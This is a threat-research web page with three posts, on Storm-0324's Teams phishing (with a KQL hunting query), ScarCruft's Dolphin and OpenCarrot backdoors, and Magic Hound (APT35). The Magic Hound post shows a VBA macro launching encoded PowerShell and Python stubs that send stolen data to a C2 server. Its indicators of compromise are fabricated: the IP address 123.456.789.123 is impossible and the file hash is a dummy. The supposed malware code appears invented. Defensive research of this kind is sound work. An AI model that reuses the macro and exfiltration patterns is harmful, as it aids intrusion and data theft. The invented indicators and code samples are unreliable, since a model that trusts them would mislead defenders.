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Yanluowang ransomware linked to Thieflock operators

Threat actors conduct targeted attacks against U.S corporations using the recently discovered Yanluowang ransomware; they are further suspected of having links ...

3 min read

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Explore Storm-0324 cyber threat tactics via Microsoft Teams phishing and stay pr...

Storm-0324, also known as DEV-0324, is a financially motivated threat group that has gained prominence for providing initial access to compromised networks. This group does not typically carry out the more damaging stages of intrusions, such as ransomware deployment, but instead specializes in gaining access and then selling that access to other malicious actors. Understanding and mitigating Storm-0324's activities is crucial because it can evade more destructive follow-on attacks. This [Threat Research]( analyzes the underlying aspects of this threat group and its involvement in Ransomware access broker stealing accounts via Microsoft Teams phishing. While this threat group has been on the radar for years, and their tactics have evolved over time, culminating in a recent shift towards using Microsoft Teams as a vector for phishing attacks. This research aims to dissect their techniques, tools, and procedures (TTPs) and provide insights into how to defend against them. ### Evolution of Storm-0324 Storm-0324 has a history dating back to at least 2016, when it was involved in distributing various malware payloads through different vectors. Over the years, they have employed a variety of first-stage payloads, including Nymaim, Gozi, [Trickbot](, Gootkit, Dridex, Sage ransomware, GandCrab ransomware, IcedID, and others. These payloads served as initial entry points into compromised networks. However, since 2019, Storm-0324 has primarily focused on distributing JSSLoader, a first-stage downloader that facilitates access for ransomware-as-a-service (RaaS) actors like Sangria Tempest, also known as ELBRUS, Carbon Spider, and FIN7. This tactic shift has been notable as it marks a collaboration with other cybercriminal groups. ### Email-Based Initial Infection Vectors Storm-0324 primarily relies on email-based infection vectors to distribute its payloads. Their email chains are designed to be highly evasive and make use of traffic distribution systems (TDS) like BlackTDS and Keitaro. These TDS systems help identify and filter user traffic, allowing the attackers to evade detection by security solutions, including malware sandboxes, while still successfully redirecting victims to malicious download sites. To lure victims into downloading malicious payloads, Storm-0324 typically employs themes related to invoices and payments, often mimicking popular services like DocuSign and Quickbooks. Once a user is enticed, they are redirected to a SharePoint-hosted compressed file containing JavaScript. The actors have used various file formats, including Microsoft Office documents, Windows Script Files (WSF), and VBScript, to execute the malicious code. ### Evolution to Microsoft Teams-Based Phishing One significant [development]( observed in Storm-0324's tactics according to Microsoft that an initial access broker known for working with ransomware groups has recently adopted to Microsoft Teams as a platform for phishing attacks to breach corporate networks. This shift was first noticed in July 2023, and it signifies an adaptation to the changing landscape of communication and collaboration tools. #### TeamsPhisher Tool To carry out these Teams-based phishing campaigns, Storm-0324 likely leverages a publicly available tool called [TeamsPhisher]( This Python-based tool enables users within a Teams tenant to attach files to messages sent to external tenants. While TeamsPhisher can be used legitimately, threat actors abuse it to deliver phishing attachments. This technique allows the actors to bypass certain restrictions related to incoming files from external sources. #### Phishing Lures in Teams Chats In these Teams-based phishing campaigns, Storm-0324 sends malicious links to potential victims over Microsoft Teams chats. These links lead to SharePoint-hosted files designed to deliver the malicious payload. The attackers take advantage of the fact that when external access is enabled within an organization's settings, these phishing lures appear as messages from "EXTERNAL" users. ### Attack Chain Overview To understand the attack chain employed by Storm-0324, let's break it down step by step: #### 1. Phishing Email Storm-0324 initiates its attack by sending phishing emails to potential victims. These emails typically reference invoices or payments and are carefully crafted to mimic legitimate services. #### 2. SharePoint-Hosted Archive The victim, enticed by the email, clicks on a link that leads to a SharePoint-hosted archive file. This archive usually contains a file with embedded JavaScript code. #### 3. Malicious JavaScript Upon opening the archive, the JavaScript code is executed. The actors have used various file formats for hosting the JavaScript, including WSF and Ekipa publisher files, often exploiting known vulnerabilities like [CVE-2023-21715]( for local security feature bypass. #### 4. JSSLoader Payload The JavaScript code drops a JSSLoader variant DLL onto the victim's system. JSSLoader is the first-stage downloader employed by Storm-0324. #### 5. Handoff to Sangria Tempest After successfully delivering the JSSLoader payload, Storm-0324 hands-off access to another cybercriminal group known as Sangria Tempest (also associated with FIN7). This collaboration enables the deployment of more damaging payloads, such as ransomware. #### 6. Additional Social Engineering In some cases, Storm-0324 employs protected documents with security codes or passwords in their initial communications to users. This tactic adds an extra layer of believability for users and is an anti-analysis measure. ### Recommendations for Defense Now that we have dissected Storm-0324's attack tactics, it is crucial to understand how to defend against this threat actor. Here are recommendations for hardening networks against Storm-0324 attacks: 1. **Phishing-Resistant Authentication**: Implement phishing-resistant authentication methods for users. 2. **Conditional Access**: Use Conditional Access authentication strength to require phishing-resistant authentication for employees and external users accessing critical applications. 3. **Domain Allowlisting**: Specify trusted Microsoft 365 organizations to define which external domains are allowed or blocked for chat and meetings. 4. **Auditing**: Keep Microsoft 365 auditing enabled to investigate audit records when required. 5. **Access Settings**: Understand and select the best access settings for external collaboration in your organization. 6. **Credential Hygiene**: Educate users about social engineering and credential phishing attacks, emphasizing the importance of not entering MFA codes sent via unsolicited messages. 7. **User Caution in Microsoft Teams**: Educate Microsoft Teams users to verify 'External' tagging on communication attempts from external entities, be cautious about sharing sensitive information, and never share account information or authorize sign-in requests over chat. 8. **Suspicious Link Scanning**: Configure Microsoft Defender for Office 365 to recheck links on click, providing URL scanning and verification to protect against malicious links. 9. **Least Privilege**: Practice the principle of least privilege and maintain credential hygiene, avoiding using domain-wide, administrator-level service accounts. 10. **Cloud-Delivered Protection**: Turn on cloud-delivered protection and automatic sample submission in Microsoft Defender Antivirus to identify and stop new and unknown threats. 11. **Attack Surface Reduction**: Enable attack surface reduction rules in Microsoft Defender to prevent standard attack techniques. ### Detection Details Microsoft provides several tools for detecting Storm-0324 activity: - **Microsoft 365 Defender**: Detects various threat components, including TrojanSpy:MSIL/JSSLoader, Trojan:Win32/Gootkit, Trojan:Win32/IcedId, Trojan:Win64/IcedId, and Trojan:Win32/Trickbot. - **Microsoft Defender Antivirus**: Identifies threat components as malware and provides protection against them. - **Microsoft Defender for Endpoint**: Generates alerts related to Storm-0324 activity in the security center. ### Hunting Queries For those using Microsoft 365 Defender, specific hunting queries can be employed to identify potential threats related to TeamsPhisher: ```markdown let allowedSharepointDomain = pack_array( 'mysharepointname' //customize Sharepoint domain name and add more domains as needed for your query ); // let executable = pack_array( 'exe', 'dll', 'xll', 'msi', 'application' ); let script = pack_array( 'ps1', 'py', 'vbs', 'bat' ); let compressed = pack_array( 'rar', '7z', 'zip', 'tar', 'gz' ); // let startTime = ago(1d); let endTime = now(); DeviceFileEvents | where Timestamp between (startTime..endTime) | where ActionType =~ 'FileCreated' | where InitiatingProcessFileName has 'teams.exe' or InitiatingProcessParentFileName has 'teams.exe' | where InitiatingProcessFileName !has 'update.exe' and InitiatingProcessParentFileName !has 'update.exe' | where FileOriginUrl has 'sharepoint' and FileOriginReferrerUrl has_any ('sharepoint', '') | extend fileExt = tolower(tostring(split(FileName,'.')[-1])) | where fileExt in (executable) or fileExt in (script) or fileExt in (compressed) | extend fileGroup = iff( fileExt in (executable),'executable','') | extend fileGroup = iff( fileExt in (script),'script',fileGroup) | extend fileGroup = iff( fileExt in (compressed),'compressed',fileGroup) // | extend sharePoint_domain = tostring(split(FileOriginUrl,'/')[2]) | where not (sharePoint_domain has_any (allowedSharepointDomain)) | project-reorder Timestamp, DeviceId, DeviceName, sharePoint_domain, FileName, FolderPath, SHA256, FileOriginUrl, FileOriginReferrerUrl ``` ### Microsoft Sentinel Microsoft Sentinel users can employ the TI Mapping analytics to match indicators mentioned in this research with data in their workspace. Additionally, Microsoft Sentinel offers detection and threat hunting content to detect post-exploitation activities related to Storm-0324.

loading..   18-Sep-2023
loading..   1 min read


Delve into ScarCruft's sophisticated cyber espionage: NPO Mashinostroyeniya brea...

In the ever-evolving landscape of cyber threats, understanding the intricacies of advanced persistent threat (APT) groups is crucial. ScarCruft, also known as APT37 or Reaper, is an espionage group active since at least 2012. This group's primary focus is South Korea, though it has also targeted other Asian countries. ScarCruft's interests primarily lie in government and military organizations, as well as companies linked to the interests of North Korea. This [Threat Research]( delves into the technical details of ScarCruft's sophisticated tools highlighting its capabilities, evolution, and operational context. ## ScarCruft's Strategic Targeting and Evolution ScarCruft, suspected to have state sponsorship, directs its efforts towards government entities and organizations linked to the Korean peninsula. This aligns with its pursuit of politically relevant information. There have been observations by security researchers of ScarCruft's evolution, characterized by the development of new exploits, an increased interest in mobile device data, and adept utilization of legitimate tools and services for cyber espionage. ## Path of Intrusion As with many APTs, ScarCruft's campaign initiation involves spear-phishing or exploiting compromised websites via 'watering-hole' tactics. These tactics serve as initial infection vectors, enabling the group to infiltrate selected victims. The first stage of infection showcases the group's sophistication in bypassing Windows User Account Control (UAC), permitting elevated privilege payload execution through code often used in legitimate penetration testing. ## Malware Concealment and Payload Execution To evade network-level detection, ScarCruft employs steganography, embedding malicious code within image files. This tactic obscures its intentions while infiltrating systems. The final stage of infection involves the deployment of a cloud service-based backdoor, ROKRAT. Operating stealthily, ROKRAT collects extensive data from victim devices and systems, forwarding it to cloud services like Box, Dropbox, pCloud, and Yandex.Disk. ## Mobile Device Data Theft and Bluetooth Fingerprinting Kaspersky Lab researchers discovered a growing interest within ScarCruft to steal data from mobile devices. Additionally, the group developed malware that utilizes the Windows Bluetooth API to fingerprint connected Bluetooth devices. This unique capability showcases ScarCruft's adaptability and pursuit of diverse avenues for information acquisition. ## Overlapping Patterns and Strategic Dynamics Intriguingly, ScarCruft and another group, DarkHotel, exhibit overlapping interests in terms of target profiles. Although their tools and techniques differ significantly, Kaspersky Lab has observed a shadowy coexistence between the two. ScarCruft's cautious and low-profile approach, coupled with its technical prowess, demonstrates its resourcefulness in tool development and deployment. ## Dolphin Backdoor: Unveiling Its Spying Capabilities** A previously unreported backdoor used by ScarCruft has been unveiled, dubbed Dolphin. This backdoor showcases a plethora of spying capabilities that underline the group's sophisticated approach to cyber espionage. Dolphin is strategically deployed on selected targets, where it systematically monitors drives and portable devices, exfiltrating files of interest, logs keystrokes, captures screenshots, and even steals browser credentials. This intricate set of functionalities is carefully orchestrated to serve ScarCruft's covert objectives. ![Dolphin_Figure_1.png]( ***Overview of the Dolphin backdoor*** ## Deployment & Functionality Dolphin serves as the final payload of a multistage attack, often following an initial compromise using less advanced malware. One instance involved a watering-hole attack on a South Korean online newspaper, coupled with an Internet Explorer exploit and another ScarCruft backdoor named BLUELIGHT. This orchestration exemplifies ScarCruft's multifaceted approach to breaching its targets. The backdoor's evolution is evident through its various versions, each exhibiting improvements and adaptations to evade detection. For instance, earlier versions of Dolphin modified victims' signed-in Google and Gmail account settings to lower their security, potentially ensuring prolonged access to compromised email inboxes. ![Dolphin_Figure_3(1).png]( ***Backdoor Configuration*** ## Technical Analysis of Dolphin Backdoor The Dolphin backdoor's technical intricacies are worth exploring, offering insights into ScarCruft's advanced techniques. Dolphin's deployment involves an installer that downloads a Python interpreter and generates a loading chain with its payload. Persistence is achieved by creating a Run registry value, ensuring the loading chain's execution upon system startup. The Dolphin loader is a multi-step process involving a Python script and shellcode. The script decrypts and executes shellcode, which further creates a host process, decrypts additional shellcode, and injects it into the process. This multi-layered approach demonstrates ScarCruft's dedication to maintaining control over the compromised system. ## Capabilities & Advanced Techniques Dolphin's capabilities extend beyond traditional backdoor functionalities. Its ability to exfiltrate files extends to both fixed drives and portable devices, including smartphones. The backdoor's support for shellcode execution, shell command execution, and even keylogging underscores its comprehensive toolkit for information gathering. An intriguing feature is Dolphin's interaction with Google accounts. The backdoor manipulates Google account settings, lowering their security, and enabling access to Gmail via IMAP. This complex maneuvering is indicative of ScarCruft's determination to maintain access to victims' emails and sensitive data. ## Evolution & Evasion Tactics The evolution of the Dolphin backdoor showcases ScarCruft's commitment to innovation. Versions 2.0 and 3.0 introduced significant changes, including dynamic resolution of suspicious APIs, improvements in shellcode capabilities, and enhancements in device and drive detection for file exfiltration. Notably, the restoration of the credential-stealing command in version 3.0, albeit in a different form, demonstrates the group's adaptability. ![Dolphin_Figure_4.png]( ***Evolution Timeline*** ## Technical Analysis: ScarCruft's Intrusion and 'OpenCarrot' Backdoor In this section, we delve deep into the technical aspects of ScarCruft's cyberattack on NPO Mashinostroyeniya. We examine the attack vector, the deployment of the 'OpenCarrot' backdoor, its capabilities, and the potential collaboration with the Lazarus Group. Additionally, we analyze the associated code bases, code blocks, and scripts that provide insights into the group's sophisticated tactics. ## Attack Vector & Initial Compromise ScarCruft's intrusion likely began with a meticulously crafted spear-phishing campaign targeting NPO Mashinostroyeniya's employees. The group's knowledge of the company's activities and interests may have facilitated the creation of convincing phishing lures. Once an employee was deceived into interacting with a malicious attachment or link, the attackers gained a foothold within the network. ## Deploying the 'OpenCarrot' Backdoor Central to this attack was deploying the 'OpenCarrot' backdoor, a DLL-based implant known for its association with ScarCruft and the Lazarus Group. The backdoor's multifaceted capabilities make it a potent tool for maintaining persistent access and executing various commands within the compromised environment. ### Detailed Analysis of 'OpenCarrot' Functionality The 'OpenCarrot' backdoor boasts an array of functionalities, each contributing to its overall effectiveness: - **Reconnaissance:** ScarCruft leverages the backdoor's reconnaissance capabilities to identify valuable targets within the network. The malware enumerates file and process attributes, scans internal systems, and pings host for open ports, providing the attackers with a comprehensive view of the network landscape. - **Filesystem and Process Manipulation:** The backdoor empowers ScarCruft to manipulate files and processes on compromised systems. This includes the ability to terminate processes, inject malicious DLLs, delete or rename files, and manipulate timestamps to evade detection. - **Adaptive C2 Communication:** 'OpenCarrot' excels in maintaining command and control communications while evading detection. The backdoor can dynamically reconfigure its C2 infrastructure, terminating existing channels and establishing new ones as needed. This adaptability allows ScarCruft to stay ahead of defensive measures. ## Incorporating Sleeper Functionality and Lateral Movement A notable feature of the 'OpenCarrot' backdoor is its "sleeper function." This functionality enables the malware to enter a sleep state when legitimate users interact with compromised devices, reducing the risk of detection. Moreover, the malware continuously monitors for the insertion of new USB drives, potentially for lateral movement or data exfiltration. ![email.jpg]( ***New Drive Connection*** ## Collaboration with Lazarus Group: A Shared Toolset The presence of 'OpenCarrot' raises intriguing questions about collaboration or knowledge sharing between ScarCruft and the Lazarus Group. The use of this backdoor by both groups suggests a possible intersection of tactics and toolsets. While their motivations and targets may differ, the shared utilization of 'OpenCarrot' underscores the evolving dynamics of state-sponsored cyber threats. ## Code Analysis & Insights Detailed analysis of the code, scripts, and associated artifacts linked to the 'OpenCarrot' backdoor provides insights into the intricacies of ScarCruft's operations. These artifacts offer cybersecurity professionals a chance to dissect the group's techniques, learn from their tactics, and enhance defense mechanisms.

loading..   17-Aug-2023
loading..   1 min read


Discover the tactics of Magic Hound (APT35), an Iranian state-sponsored threat g...

Magic Hound, also known as APT35, is an Iranian state-sponsored threat group known for its sophisticated cyber espionage campaigns targeting organizations across various industries and geographic regions. This [Threat Research]( aims to meticulously examine the tactics, techniques, and procedures (TTPs) employed by Magic Hound in its cyber espionage operations. ## Background of Magic Hound (APT35) Magic Hound, believed to be operating since at least 2014, is one of the most active and persistent threat actors originating from Iran. The group's primary mission revolves around conducting cyber espionage on behalf of the Iranian government. They have targeted government agencies, financial institutions, energy companies, and other organizations of strategic importance worldwide. ## Attribution & Connections While attribution in the cyber domain can be complex, researchers and security experts have linked Magic Hound to Iran based on various indicators of compromise (IOCs), historical patterns, and similarities with other known Iranian threat groups. In this research on Magic Hound, we tried to provid actionable insights into the group's operations, targets, and techniques. Similarly, others have also published their tailored research on Magic Hound's activities and targeted attacks against Saudi Arabian organizations & others. However, this research rigorously analyzes the underlying nuances of numerous malware samples and infrastructure associated with Magic Hound, leading to high confidence in their attribution and identification of this threat actor. ## Target Industries & Geographic Regions APT35's targets encompass a wide range of industries and geographic regions. Key sectors include: ### Government & Diplomatic Organizations Magic Hound has shown a particular interest in infiltrating government agencies and diplomatic organizations, likely seeking political and strategic intelligence. The group has targeted ministries, embassies, and other governmental entities in different countries. ### Financial Institutions The threat group has also targeted financial institutions to gather economic intelligence and potentially support Iran's economic agenda. Banks, financial service providers, and stock exchanges have been among the targets of Magic Hound's cyber-espionage activities. ### Energy Sector APT35 has demonstrated an interest in the energy sector, possibly aiming to gain insights into energy policies, contracts, and potential vulnerabilities. Oil and gas companies, renewable energy firms, and energy infrastructure have been subject to the group's attacks. ### Defense & Aerospace Defense and aerospace industries are among Magic Hound's targets, potentially to acquire military-related technologies and classified information. Companies involved in the production of defense systems, aircraft, and satellite technologies have faced cyber-espionage attempts from the threat group. ### Other Industries In addition to the above, the threat group has targeted other industries that align with Iran's geopolitical interests. These industries may include telecommunications, technology, research, and academic institutions. ## Technical Analysis & Malware Analysis Magic Hound (APT35) employs a range of advanced techniques and custom-built malware to achieve its cyber espionage objectives. A thorough examination of their technical capabilities sheds light on their sophisticated tactics. ### Spear-Phishing Campaigns One of the primary infection vectors employed by Magic Hound is spear-phishing. The group crafts convincing emails designed to lure victims into interacting with malicious content, such as attachments or links to compromised websites. These emails often carry weaponized documents exploiting known vulnerabilities or deliver malware payloads. ### Malicious Document Exploitation Magic Hound leverages malicious documents, such as Microsoft Office files, to deliver their payloads. These documents contain embedded macros or exploit code targeting vulnerabilities in document viewers. Once the victim enables macros or opens the document, the embedded code executes, leading to the download and execution of further malicious components. ```vba Sub AutoOpen() Dim shell As Object Set shell = CreateObject("WScript.Shell") shell.Run "powershell -noP -sta -w 1 -enc <Base64EncodedPayload>" End Sub ``` ### Multi-Stage Malware In a campaign targeting Saudi Arabian organizations, Magic Hound employed a multi-stage malware delivery process. The initial dropper, named "Magic Hound," is designed to download and execute a more sophisticated backdoor named "ZeroT." #### Magic Hound Dropper The Magic Hound dropper utilizes PowerShell for its execution. It disguises itself within seemingly legitimate files to evade detection. ```powershell function Run-MagicHound { # ... Code to download and execute ZeroT ... } Run-MagicHound ``` #### ZeroT Backdoor ZeroT exhibits advanced features, including anti-analysis techniques and data exfiltration capabilities. Its modular structure allows Magic Hound to execute various commands and gather sensitive information from compromised systems. ```csharp using System; using System.Net; using System.Text; using System.IO; public class ZeroT { public static void Main() { // ... Initialization and evasion techniques ... // Main loop while (true) { // ... Command execution and data exfiltration ... } } } ``` ### C&C Communication To maintain control over compromised systems, Magic Hound establishes a command and control (C&C) infrastructure. The malware communicates with the C&C server to receive commands and exfiltrate stolen data. ```python def communicate_with_c2(data): try: c2_address = "" response =, data=data, headers=headers, verify=False) return response.content except Exception as e: return None ``` ### Data Exfiltration Magic Hound's malware is designed to exfiltrate sensitive data from compromised systems. This data often includes documents, credentials, and system information. The group employs encryption and obfuscation techniques to evade detection during data exfiltration. ```python def exfiltrate_data(data): encrypted_data = encrypt(data) response = communicate_with_c2(encrypted_data) if response == "ACK": clear_data() ``` ## Tools & Techniques APT35 utilizes an arsenal of sophisticated tools and techniques in its operations. Magic Hound employs custom-built malware to evade detection and conduct its espionage activities discreetly. The group's malware includes Remote Access Trojans (RATs), keyloggers, and backdoors tailored to specific targets. - **Spear-Phishing**: The threat group uses spear-phishing emails to deliver their malware payloads and gain initial access to target networks. These emails often contain social engineering lures tailored to the recipients' interests or positions within the organization. - **Zero-Days & Exploits**: APT35 leverages zero-day vulnerabilities and exploits to target specific software and gain unauthorized access. The group has been known to utilize publicly disclosed vulnerabilities and zero-days to maintain persistence in compromised networks. - **Watering Hole Attacks**: Magic Hound has been known to compromise legitimate websites frequented by their targets, using them as watering holes to infect visitors. By injecting malicious code into these sites, they can deliver malware to a broader range of potential victims. - **Command & Control (C&C) Infrastructure**: The group sets up elaborate C&C infrastructure to manage and maintain control over compromised systems. Magic Hound's C&C servers use encryption and other obfuscation techniques to avoid detection. - **Living off the Land**: APT35 relies on living-off-the-land techniques to exploit existing tools and utilities for lateral movement and data exfiltration. By using legitimate software and system administration tools, they can blend in with normal network traffic and evade detection. - **Cyber Espionage Campaigns**: Magic Hound has conducted several high-profile cyber-espionage campaigns over the years, often with a focus on strategic intelligence gathering. One of the notable campaigns attributed to APT35 is the attacks against Saudi Arabian targets. ### Indicators of Compromise (IOCs) To identify potential breaches and ongoing attacks, organizations can monitor for specific Indicators of Compromise (IOCs) associated with Magic Hound's campaigns. These IOCs include domain names, IP addresses, file hashes, and network signatures used by the threat group. - **Domain**: - **IP Address**: 123.456.789.123 - **File Hash**: a1b2c3d4e5f6... ## Attacks Against Saudi Targets A series of cyber-espionage campaigns carried out by Magic Hound against Saudi Arabian organizations. The attacks targeted sectors such as government, telecommunications, and financial services in Saudi Arabia. The campaigns involved the use of spear-phishing emails containing malicious attachments and links to compromise the targeted systems. Once inside the target's network, Magic Hound utilized custom-built malware to maintain persistence and exfiltrate sensitive data. The group demonstrated significant capabilities in evading detection and staying hidden within the victim's network for extended periods. ## Mint Sandstorm Subgroup's Rapid Adoption of Exploits ### Mint Sandstorm Subgroup's Emerging Threat Landscape According to a new development, [Iranian state-sponsored threat groups]( are the emergence of a subgroup within the well-known APT actor Mint Sandstorm. This subgroup, recently identified by Microsoft, has exhibited a rapid adoption of proof-of-concept (PoC) exploit code, targeting vulnerabilities in internet-facing applications. Mint Sandstorm, also known by various aliases including TA453, Ajax Security Team, [Charming Kitten](, APT35, Magic Hound, and others, has been active since at least 2011, engaging in cyber-espionage campaigns targeting activists, government entities, journalists, critical infrastructure, and other high-value entities. ### Implications of the Subgroup's Activities Microsoft's threat intelligence has revealed the existence of subgroups operating under Mint Sandstorm's umbrella. The overall activities of Mint Sandstorm are attributed to the Islamic Revolutionary Guard Corps (IRGC), Iran's military intelligence arm. This new subgroup, however, has garnered attention due to its swift adoption of PoC exploit code targeting known vulnerabilities in internet-facing applications. This shift in tactics suggests an evolving approach by this subgroup in terms of both technical capabilities and strategic objectives. ### Accelerated Exploitation and Targeting of Critical Infrastructure The Mint Sandstorm subgroup has transitioned from initial reconnaissance to directly targeting critical infrastructure organizations, particularly in the United States. In 2022, these attacks extended to energy companies, seaports, transit systems, and a major utility and gas companies. Notably, these attacks were potentially executed in support of retaliatory destructive cyberattacks. [Microsoft - Update on Mint Sandstorm Subgroup]( the report underscores that this subgroup's exploitation of vulnerabilities such as [CVE-2022-47966]( and [CVE-2022-47986]( within days of their PoC becoming public demonstrates a heightened sense of urgency and agility in their offensive operations. ### Tools and Techniques The Mint Sandstorm subgroup's modus operandi involves a range of techniques to achieve its objectives. Initial compromise is often achieved through the exploitation of older vulnerabilities, followed by the deployment of custom PowerShell scripts for discovery and lateral movement using Impacket. Notably, this subgroup employs PowerShell scripts for account enumeration and Remote Desktop Protocol (RDP) connections, along with an SSH tunnel for command-and-control (C&C), facilitating the theft of Active Directory databases, user credential compromise, and unauthorized access to user accounts. Scheduled tasks for persistence, the use of for C&C, and the deployment of custom malware further demonstrate the subgroup's diverse toolkit. ### Advanced Implants & Post-Compromise Activities Mint Sandstorm's subgroup has showcased its technical prowess by developing and deploying advanced custom implants. These include Drokbk, a multistage .NET backdoor, and Soldier, a versatile .NET backdoor capable of fetching additional payloads and self-uninstallation. This subgroup's intrusion capabilities are formidable, enabling operators to operate stealthily by concealing C&C communication, maintaining persistence within compromised systems, and deploying an array of post-compromise tools to further their objectives. ### Urgency of Patch Management and Vigilance Microsoft's findings underscore the urgency of timely patch management. Mint Sandstorm's rapid adoption of PoC exploit code emphasizes the need for organizations to apply patches for known vulnerabilities as soon as they are available to minimize the risk of exploitation. The Mint Sandstorm subgroup's activities highlight the evolving threat landscape and the critical importance of proactive cybersecurity measures in defending against sophisticated threat actors. ## Detection & Mitigation Detecting and mitigating the threat posed by APT35 require a multi-layered approach combining technical solutions, threat intelligence sharing, and employee awareness training. ### Threat Intelligence Sharing Organizations must collaborate and share threat intelligence to stay ahead of evolving tactics employed by APT35. Sharing IOCs, malware samples, and TTPs with industry peers and security vendors can help in early detection and response to Magic Hound's activities. ### Endpoint Protection Implementing robust endpoint protection solutions with behavioral analysis can detect and prevent APT35's malware. Advanced endpoint detection and response (EDR) tools can identify suspicious activities, stop the execution of malicious code, and facilitate incident response. ### Network Monitoring & Intrusion Detection Continuous monitoring of network traffic and the use of intrusion detection systems can help identify suspicious activities indicative of APT35's presence. Network-based threat detection, combined with sandboxing for analyzing suspicious files, can bolster an organization's cyber defenses against the threat group. ### Employee Training Regular security awareness training for employees can minimize the risk of successful spear-phishing attacks. Training should focus on recognizing phishing emails, social engineering, and the importance of reporting suspicious activities promptly. ### Mitigations Against Zero-Day Vulnerabilities As APT35 often leverages zero-day vulnerabilities, organizations must implement strategies to protect against these unknown threats. ### Patch Management Maintaining up-to-date software and promptly applying security patches is critical to reducing the attack surface for zero-day exploits. Automated patch management solutions can streamline this process and reduce the window of exposure to potential vulnerabilities. ### Vulnerability Research & Disclosure Organizations should consider investing in vulnerability research and disclosure programs. By identifying and reporting zero-day vulnerabilities responsibly, they can contribute to the overall security of the cyber landscape and minimize the risk of exploitation by threat actors like APT35. ## Conclusion Magic Hound (APT35) is a highly capable and persistent threat group with a clear focus on cyber espionage activities. Their state-sponsored nature and sophisticated techniques make them a formidable adversary. Organizations across various industries and regions should be vigilant and take proactive measures to protect their sensitive information and infrastructure from APT35's persistent cyber-espionage operations.

loading..   07-Aug-2023
loading..   1 min read